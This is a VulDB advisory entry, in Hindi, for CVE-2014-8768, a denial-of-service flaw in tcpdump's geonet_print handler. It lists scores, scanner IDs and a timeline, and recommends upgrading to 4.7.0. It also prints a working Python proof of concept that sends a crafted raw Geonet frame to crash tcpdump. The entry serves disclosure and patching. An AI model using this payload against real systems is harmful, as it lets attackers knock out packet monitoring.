tcpdump तक 4.6.2 Geonet Frame geonet_print सेवा अस्वीकार

इतिहासअंतरसंबंधित करनाjsonxmlCTI

CVSS मेटा अस्थायी स्कोर	वर्तमान एक्सप्लॉइट मूल्य (≈)	CTI रुचि स्कोर
4.8	$0-$5k	0.00

सारांशजानकारी

एक भेद्यता जिसे समस्याग्रस्त के रूप में वर्गीकृत किया गया है, tcpdump तक 4.6.2 में खोजी गई है। प्रभावित तत्त्व है geonet_print नामक कार्य और Geonet Frame Handler घटक से संबंधित है। यह परिवर्तन सेवा अस्वीकार का कारण बनता है। यह भेद्यता CVE-2014-8768 के रूप में जानी जाती है। इसके अलावा, एक एक्सप्लॉइट उपलब्ध है. इस समस्या को ठीक करने के लिए पैच लागू करने की सिफारिश की जाती है।

विवरणजानकारी

एक भेद्यता जिसे समस्याग्रस्त के रूप में वर्गीकृत किया गया है, tcpdump तक 4.6.2 में खोजी गई है। प्रभावित तत्त्व है geonet_print नामक कार्य और Geonet Frame Handler घटक से संबंधित है। यह परिवर्तन सेवा अस्वीकार का कारण बनता है। समस्या को घोषित करने के लिए CWE का उपयोग करने से CWE-189 की ओर ले जाता है। यह कमजोरी प्रकाशित हुई थी 17/11/2014 द्वारा Steffen Bauch के रूप में Posting (Bugtraq). archives.neohapsis.com पर यह परामर्श डाउनलोड हेतु उपलब्ध कराया गया है।

यह भेद्यता CVE-2014-8768 के रूप में जानी जाती है। CVE असाइनमेंट 13/11/2014 पर हुआ था. तकनीकी विवरण उपलब्ध हैं. यह भेद्यता सामान्य से कम लोकप्रिय है। इसके अलावा, एक एक्सप्लॉइट उपलब्ध है. यह एक्सप्लॉइट सार्वजनिक रूप से उजागर हो चुका है और इसका दुरुपयोग संभव है। अभी के लिए एक्सप्लॉइट की कीमत might be approx. USD $0-$5k है।

इसे अवधारणा प्रमाण घोषित किया गया है। डाउनलोड के लिए एक्सप्लॉइट archives.neohapsis.com पर उपलब्ध है। 0-डे के लिए अनुमानित भूमिगत कीमत लगभग $0-$5k थी. एक्सप्लॉइट में प्रयुक्त कोड निम्नलिखित है:

#!/usr/bin/env python 
from socket import socket, AF_PACKET, SOCK_RAW 
s = socket(AF_PACKET, SOCK_RAW) 
s.bind(("lo", 0)) 
geonet_frame = 
"\x00\x1f\xc6\x51\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\xc6\x51\x07\x07\x07\x07\x07\x07\xef\x06\x07\x35\x97\x00\x24\x8c\x7a\xdf\x6f\x08\x00\x45\x00\x00\x3d\xf3\x7f\x40\x00\x40\x11\x30\xc6\x0a\x01\x01\x68\x0a\x01\x01\x01\x99\x80\x00\x35\x00\x29\x16\xa5\x01\x76\x01\x00\x00\xff\x00\x00\x01\x00\x00\x00"
s.send(geonet_frame)

Nessus द्वारा 79608 आईडी वाला एक प्लगइन दिया गया है। इसे Fedora Local Security Checks फैमिली के अंतर्गत रखा गया है। वाणिज्यिक वल्नरेबिलिटी स्कैनर Qualys इस समस्या का परीक्षण 195695 प्लगइन से कर सकता है (Ubuntu Security Notification for Tcpdump Vulnerabilities (USN-2433-1)).

4.7.0 संस्करण में अपग्रेड करने से यह समस्या सुलझ सकती है। इस समस्या को ठीक करने के लिए पैच लागू करने की सिफारिश की जाती है।

कमज़ोरी अन्य कमज़ोरी डेटाबेस में भी प्रलेखित है: SecurityFocus (BID 71155), X-Force (98766), SecurityTracker (ID 1031235), Vulnerability Center (SBV-47375) , Tenable (79608).

उत्पादजानकारी

प्रकार

Packet Analyzer Software

नाम

tcpdump

संस्करण

लाइसेंस

खुला स्रोत

वेबसाइट

उत्पाद: https://www.tcpdump.org/

CPE 2.3जानकारी

CPE 2.2जानकारी

CVSSv4जानकारी

VulDB वेक्टर: 🔍
VulDB विश्वसनीयता: 🔍

CVSSv3जानकारी

VulDB मेटा बेस स्कोर: 5.3
VulDB मेटा अस्थायी स्कोर: 4.8

VulDB मूल स्कोर: 5.3
VulDB अस्थायी स्कोर: 4.8
VulDB वेक्टर: 🔍
VulDB विश्वसनीयता: 🔍

CVSSv2जानकारी

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

सदिश	जटिलता	प्रमाणीकरण	गोपनीयता	अखंडता	उपलब्धता
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना

VulDB मूल स्कोर: 🔍
VulDB अस्थायी स्कोर: 🔍
VulDB विश्वसनीयता: 🔍

NVD मूल स्कोर: 🔍

शोषणजानकारी

वर्ग: सेवा अस्वीकार
CWE: CWE-189
CAPEC: 🔍
ATT&CK: 🔍

भौतिक: नहीं
स्थानीय: नहीं
दूरस्थ: हाँ

उपलब्धता: 🔍
प्रवेश: सार्वजनिक
स्थिति: अवधारणा प्रमाण
लेखक: Steffen Bauch
प्रोग्रामिंग भाषा: 🔍
डाउनलोड: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

मूल्य पूर्वानुमान: 🔍
वर्तमान मूल्य अनुमान: 🔍

0-Day	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना
आज	अनलॉक करना	अनलॉक करना	अनलॉक करना	अनलॉक करना

Nessus ID: 79608
Nessus नाम: Fedora 20 : tcpdump-4.5.1-2.fc20 (2014-15541)
Nessus Arquivo: 🔍
Nessus जोखिम: 🔍
Nessus परिवार: 🔍

OpenVAS ID: 867259
OpenVAS नाम: Fedora Update for tcpdump FEDORA-2014-15541
OpenVAS Arquivo: 🔍
OpenVAS परिवार: 🔍

Qualys ID: 🔍
Qualys नाम: 🔍

Exploit-DB: 🔍

खतरे की खुफियाजानकारी

रुचि: 🔍
सक्रिय अभिनेता: 🔍
सक्रिय APT समूह: 🔍

प्रतिव्यवस्थाजानकारी

सिफारिश: पैच
स्थिति: 🔍

0-दिवसीय समय: 🔍
शोषण विलंब समय: 🔍

अपग्रेड: tcpdump 4.7.0

समयरेखाजानकारी

12/11/2014 🔍
13/11/2014 +1 दिन 🔍
17/11/2014 +4 दिन 🔍
17/11/2014 +0 दिन 🔍
18/11/2014 +1 दिन 🔍
18/11/2014 +0 दिन 🔍
19/11/2014 +1 दिन 🔍
20/11/2014 +1 दिन 🔍
20/11/2014 +0 दिन 🔍
24/11/2014 +4 दिन 🔍
02/12/2014 +8 दिन 🔍
08/12/2024 +3659 दिन 🔍

स्रोतजानकारी

उत्पाद: tcpdump.org

सलाह: USN-2433-1
शोधकर्ता: Steffen Bauch
स्थिति: पुष्टि की गई
पुष्टि: 🔍

CVE: CVE-2014-8768 (🔍)
GCVE (CVE): GCVE-0-2014-8768
GCVE (VulDB): GCVE-100-68220

OVAL: 🔍

X-Force: 98766 - tpcdump geonet_print() denial of service, Medium Risk
SecurityFocus: 71155 - tcpdump 'geonet_print()' Function Denial of Service Vulnerability
SecurityTracker: 1031235 - Tcpdump Multiple Flaws Let Remote Users Deny Service
Vulnerability Center: 47375 - RedHat tcpdump 4.5.0 Through 4.6.2 Remote Denial-of Service via a Crafted Length in an Geonet frame, Medium

scip Labs: https://www.scip.ch/en/?labs.20161013
यह भी देखें: 🔍

प्रविष्टिजानकारी

बनाया गया: 19/11/2014 10:40 AM
अद्यतनित: 08/12/2024 04:06 PM
परिवर्तन: 19/11/2014 10:40 AM (86), 13/06/2017 08:43 AM (7), 24/02/2022 11:35 PM (3), 24/02/2022 11:46 PM (1), 08/12/2024 04:06 PM (14)
पूर्ण: 🔍
Cache ID: 216::103

Once again VulDB remains the best source for vulnerability data.

चर्चा

अभी तक कोई टिप्पणी नहीं भाषाएँ: hi + ne + en.

टिप्पणी करने के लिए कृपया लॉगिन करें

◂ पिछला सिंहावलोकन अगला ▸

Do you know our Splunk app?

Download it now for free!